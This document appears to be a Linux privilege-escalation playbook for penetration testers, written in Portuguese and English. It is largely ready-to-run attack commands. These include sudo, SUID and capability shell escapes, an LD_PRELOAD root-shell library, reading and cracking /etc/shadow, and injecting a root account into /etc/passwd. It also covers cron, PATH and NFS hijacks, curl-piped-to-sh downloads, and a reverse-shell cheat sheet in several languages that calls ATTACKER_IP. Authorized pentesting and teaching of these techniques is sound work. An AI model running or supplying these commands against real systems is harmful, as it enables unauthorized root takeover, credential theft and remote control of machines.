Linux Privilege Escalation

Linux Privilege Escalation

Purpose

Executar avaliações sistemáticas de escalação de privilégios em sistemas Linux para identificar e explorar configurações incorretas, serviços vulneráveis e fraquezas de segurança que permitem elevação de acesso de usuário com baixo privilégio para controle em nível root. Esta habilidade permite enumeração abrangente e exploração de vulnerabilidades de kernel, configurações incorretas de sudo, binários SUID, cron jobs, capacidades, PATH hijacking e fraquezas de NFS.

Inputs / Prerequisites

Acesso Necessário

• Acesso a shell com baixo privilégio no sistema Linux alvo
• Capacidade de executar comandos (shell interativo ou semi-interativo)
• Acesso de rede para conexões de reverse shell (se necessário)
• Máquina do atacante para hospedagem de payload e recebimento de shells

Requisitos Técnicos

• Compreensão de permissões e proprietário do sistema de arquivos Linux
• Familiaridade com utilitários Linux comuns e scripting
• Conhecimento de versões de kernel e vulnerabilidades associadas
• Compreensão básica de compilação (gcc) para exploits personalizados

Ferramentas Recomendadas

• Scripts LinPEAS, LinEnum ou Linux Smart Enumeration
• Linux Exploit Suggester (LES)
• Referência GTFOBins para exploração de binários
• John the Ripper ou Hashcat para cracking de senhas
• Netcat ou similar para reverse shells

Outputs / Deliverables

Outputs Primários

• Acesso a shell root no sistema alvo
• Documentação do caminho de escalação de privilégios
• Relatório de descobertas de enumeração do sistema
• Recomendações para remediação

Artefatos de Evidência

• Screenshots de escalação de privilégios bem-sucedida
• Logs de output de comando demonstrando acesso root
• Detalhes de vulnerabilidade identificada
• Arquivos de configuração explorados

Core Workflow

Phase 1: System Enumeration

Basic System Information

Colete informações fundamentais do sistema para pesquisa de vulnerabilidade:

# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch

User and Permission Enumeration

# Current user context
whoami
id

# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false

# Users with home directories
cat /etc/passwd | grep home

# Group memberships
groups

# Other logged-in users
w
who

Network Information

# Network interfaces
ifconfig
ip addr

# Routing table
ip route

# Active connections
netstat -antup
ss -tulpn

# Listening services
netstat -l

Process and Service Enumeration

# All running processes
ps aux
ps -ef

# Process tree view
ps axjf

# Services running as root
ps aux | grep root

Environment Variables

# Full environment
env

# PATH variable (for hijacking)
echo $PATH

Phase 2: Automated Enumeration

Implante scripts automatizados para enumeração abrangente:

# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -t

# Linux Smart Enumeration
./lse.sh -l 1

# Linux Exploit Suggester
./les.sh

Transfira scripts para o sistema alvo:

# On attacker machine
python3 -m http.server 8000

# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Phase 3: Kernel Exploits

Identify Kernel Version

uname -r
cat /proc/version

Search for Exploits

# Use Linux Exploit Suggester
./linux-exploit-suggester.sh

# Manual search on exploit-db
searchsploit linux kernel [version]

Common Kernel Exploits

Compile and Execute

# Transfer exploit source
wget http://ATTACKER_IP/exploit.c

# Compile on target
gcc exploit.c -o exploit

# Execute
./exploit

Phase 4: Sudo Exploitation

Enumerate Sudo Privileges

sudo -l

GTFOBins Sudo Exploitation

Consulte https://gtfobins.github.io para comandos de exploração:

# Example: vim with sudo
sudo vim -c ':!/bin/bash'

# Example: find with sudo
sudo find . -exec /bin/sh \; -quit

# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'

# Example: less with sudo
sudo less /etc/passwd
!/bin/bash

LD_PRELOAD Exploitation

Quando env_keep inclui LD_PRELOAD:

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

# Compile shared library
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find

Phase 5: SUID Binary Exploitation

Find SUID Binaries

find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Exploit SUID Binaries

Consulte GTFOBins para exploração de SUID:

# Example: base64 for file reading
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d

# Example: cp for file writing
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p

# Example: find with SUID
find . -exec /bin/sh -p \; -quit

Password Cracking via SUID

# Read shadow file (if base64 has SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt

# On attacker machine
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Add User to passwd (if nano/vim has SUID)

# Generate password hash
openssl passwd -1 -salt new newpassword

# Add to /etc/passwd (using SUID editor)
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

Phase 6: Capabilities Exploitation

Enumerate Capabilities

getcap -r / 2>/dev/null

Exploit Capabilities

# Example: python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Example: vim with cap_setuid
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

# Example: perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Phase 7: Cron Job Exploitation

Enumerate Cron Jobs

# System crontab
cat /etc/crontab

# User crontabs
ls -la /var/spool/cron/crontabs/

# Cron directories
ls -la /etc/cron.*

# Systemd timers
systemctl list-timers

Exploit Writable Cron Scripts

# Identify writable cron script from /etc/crontab
ls -la /opt/backup.sh        # Check permissions
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh

# If cron references non-existent script in writable PATH
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh

Phase 8: PATH Hijacking

# Find SUID binary calling external command
strings /usr/local/bin/suid-binary
# Shows: system("service apache2 start")

# Hijack by creating malicious binary in writable PATH
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/suid-binary      # Execute SUID binary

Phase 9: NFS Exploitation

# On target - look for no_root_squash option
cat /etc/exports

# On attacker - mount share and create SUID binary
showmount -e TARGET_IP
mount -o rw TARGET_IP:/share /tmp/nfs

# Create and compile SUID shell
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell

# On target - execute
/share/shell

Quick Reference

Enumeration Commands Summary

Reverse Shell One-Liners

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc -e /bin/bash ATTACKER_IP 4444

# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

Recursos-Chave

• GTFOBins: https://gtfobins.github.io
• LinPEAS: https://github.com/carlospolop/PEASS-ng
• Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester

Constraints and Guardrails

Operational Boundaries

• Verifique exploits de kernel em ambiente de teste antes do uso em produção
• Exploits de kernel com falha podem causar travamento do sistema
• Documente todas as alterações feitas durante escalação de privilégios
• Mantenha persistência de acesso apenas conforme autorizado

Technical Limitations

• Kernels modernos podem ter mitigações de exploit (ASLR, SMEP, SMAP)
• AppArmor/SELinux pode restringir técnicas de exploração
• Ambientes de container limitam exploits em nível de kernel
• Sistemas endurecidos podem ter configurações sudo restritas

Legal and Ethical Requirements

• Autorização escrita necessária antes de testar
• Mantenha-se dentro dos limites de escopo definidos
• Reporte descobertas críticas imediatamente
• Não acesse dados além dos requisitos de escopo

Examples

Example 1: Sudo to Root via find

Cenário: Usuário tem direitos sudo para comando find

$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: SUID base64 for Shadow Access

Cenário: Binário base64 tem bit SUID definido

$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt

Example 3: Cron Job Script Hijacking

Cenário: Cron job do root executa script gravável

$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)

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